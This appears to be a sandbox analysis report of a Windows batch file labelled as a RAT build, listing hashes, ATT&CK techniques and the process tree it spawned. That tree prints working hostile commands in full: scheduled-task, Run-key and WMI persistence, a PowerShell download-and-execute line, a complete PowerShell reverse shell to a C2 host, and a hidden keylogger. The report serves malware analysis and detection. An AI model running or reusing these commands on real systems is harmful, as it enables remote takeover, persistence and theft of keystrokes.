540e9c3ab8955f7a1ab71b9456c3b8765c6b2c80632f6032ede8c359807fb70f

Analysis

max time kernel
149s
max time network
96s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 01:37

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General

Target
rat_build_158377_014433.bat
Size 4KB
Sample260529-b1wrmsgz6y
SHA256 540e9c3ab8955f7a1ab71b9456c3b8765c6b2c80632f6032ede8c359807fb70f
MD5 01c15c00ea5d52b23bd6db84ffd1ba17
SHA1 5929f985453b1615bd0750b371af56de28a55956
SHA512 63dd1ad63d50fc9243a38d841cb5fafdfb8db5a5796e906bf799bd94e1ef0b0940bf40e6c1696c6da03888dbefd3a3f0faca23dc9a0e9eb1c6a906c2a10b5da6
SSDEEP 96:dfIZzxWH1U4KtAl0WSLbGp3pAxxV9M9nMWv0grFIiM4lcXgVxXiFgZk8mvlo1wDe:dfm0HS4OAl0DA5aJMhMJgeZXKiFgkHl0
TLSH
T100A1071397867120C9F82548DE327954876CD9FB134ADECEFA88CDC45B4C94BA1289E3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_158377.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1784	powershell.exe
4652	powershell.exe
4364	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2824035265-2271499813-2042964211-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_158377 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_158377.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2760	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4160	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1724	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1088	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4652	powershell.exe
4652	powershell.exe
4364	powershell.exe
4364	powershell.exe
1784	powershell.exe
1784	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2724	WMIC.exe
Token: SeSecurityPrivilege	2724	WMIC.exe
Token: SeTakeOwnershipPrivilege	2724	WMIC.exe
Token: SeLoadDriverPrivilege	2724	WMIC.exe
Token: SeSystemProfilePrivilege	2724	WMIC.exe
Token: SeSystemtimePrivilege	2724	WMIC.exe
Token: SeProfSingleProcessPrivilege	2724	WMIC.exe
Token: SeIncBasePriorityPrivilege	2724	WMIC.exe
Token: SeCreatePagefilePrivilege	2724	WMIC.exe
Token: SeBackupPrivilege	2724	WMIC.exe
Token: SeRestorePrivilege	2724	WMIC.exe
Token: SeShutdownPrivilege	2724	WMIC.exe
Token: SeDebugPrivilege	2724	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2724	WMIC.exe
Token: SeRemoteShutdownPrivilege	2724	WMIC.exe
Token: SeUndockPrivilege	2724	WMIC.exe
Token: SeManageVolumePrivilege	2724	WMIC.exe
Token: 33	2724	WMIC.exe
Token: 34	2724	WMIC.exe
Token: 35	2724	WMIC.exe
Token: 36	2724	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2724	WMIC.exe
Token: SeSecurityPrivilege	2724	WMIC.exe
Token: SeTakeOwnershipPrivilege	2724	WMIC.exe
Token: SeLoadDriverPrivilege	2724	WMIC.exe
Token: SeSystemProfilePrivilege	2724	WMIC.exe
Token: SeSystemtimePrivilege	2724	WMIC.exe
Token: SeProfSingleProcessPrivilege	2724	WMIC.exe
Token: SeIncBasePriorityPrivilege	2724	WMIC.exe
Token: SeCreatePagefilePrivilege	2724	WMIC.exe
Token: SeBackupPrivilege	2724	WMIC.exe
Token: SeRestorePrivilege	2724	WMIC.exe
Token: SeShutdownPrivilege	2724	WMIC.exe
Token: SeDebugPrivilege	2724	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2724	WMIC.exe
Token: SeRemoteShutdownPrivilege	2724	WMIC.exe
Token: SeUndockPrivilege	2724	WMIC.exe
Token: SeManageVolumePrivilege	2724	WMIC.exe
Token: 33	2724	WMIC.exe
Token: 34	2724	WMIC.exe
Token: 35	2724	WMIC.exe
Token: 36	2724	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3276	WMIC.exe
Token: SeSecurityPrivilege	3276	WMIC.exe
Token: SeTakeOwnershipPrivilege	3276	WMIC.exe
Token: SeLoadDriverPrivilege	3276	WMIC.exe
Token: SeSystemProfilePrivilege	3276	WMIC.exe
Token: SeSystemtimePrivilege	3276	WMIC.exe
Token: SeProfSingleProcessPrivilege	3276	WMIC.exe
Token: SeIncBasePriorityPrivilege	3276	WMIC.exe
Token: SeCreatePagefilePrivilege	3276	WMIC.exe
Token: SeBackupPrivilege	3276	WMIC.exe
Token: SeRestorePrivilege	3276	WMIC.exe
Token: SeShutdownPrivilege	3276	WMIC.exe
Token: SeDebugPrivilege	3276	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3276	WMIC.exe
Token: SeRemoteShutdownPrivilege	3276	WMIC.exe
Token: SeUndockPrivilege	3276	WMIC.exe
Token: SeManageVolumePrivilege	3276	WMIC.exe
Token: 33	3276	WMIC.exe
Token: 34	3276	WMIC.exe
Token: 35	3276	WMIC.exe
Token: 36	3276	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3276	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1232 wrote to memory of 1088	1232	cmd.exe	82
PID 1232 wrote to memory of 1724	1232	cmd.exe	83
PID 1232 wrote to memory of 2724	1232	cmd.exe	84
PID 1232 wrote to memory of 3276	1232	cmd.exe	85
PID 1232 wrote to memory of 2052	1232	cmd.exe	86
PID 1232 wrote to memory of 4160	1232	cmd.exe	87
PID 1232 wrote to memory of 2760	1232	cmd.exe	91
PID 1232 wrote to memory of 4652	1232	cmd.exe	92
PID 1232 wrote to memory of 4364	1232	cmd.exe	93
PID 1232 wrote to memory of 1784	1232	cmd.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_158377_014433.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1232
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_158377" /tr "C:\Users\Admin\AppData\Local\Temp\_158377.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1088
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_158377" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_158377.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1724
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_158377", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_158377", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_158377.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3276
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_158377.txt
  2⤵
  PID:2052
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4160
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:2760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_158377.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1784

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
MD5 5f4c933102a824f41e258078e34165a7
SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
TLSH
T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a2f2f0033d120152c7f43db61e5867c538be686267424e37ebf1f81c2108c41f
MD5 efbdcb1e96c21b1fa3a8ee282decfaa7
SHA1 4b29742350c7851853767013e11d09fb954063ac
SHA512 8e88e8ff7da00f85b2f2840a94eca8f75f425c8058a6cc86a1681784e5b0370369560a04320dc747602e3fefed9b5af750afef52bcc137944999c1c4f5e8a808
TLSH
T104117A33B79CC175C8E9117A108DAD01B1B5C3DB049EDE8B7A84C508E57F58ADBA41E4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
MD5 8a9ce637f47cb4acdbef782b0c075292
SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
TLSH
T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_lmn0sgq5.pxk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lmn0sgq5.pxk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4652-3-0x00000184DF0F0000-0x00000184DF112000-memory.dmp

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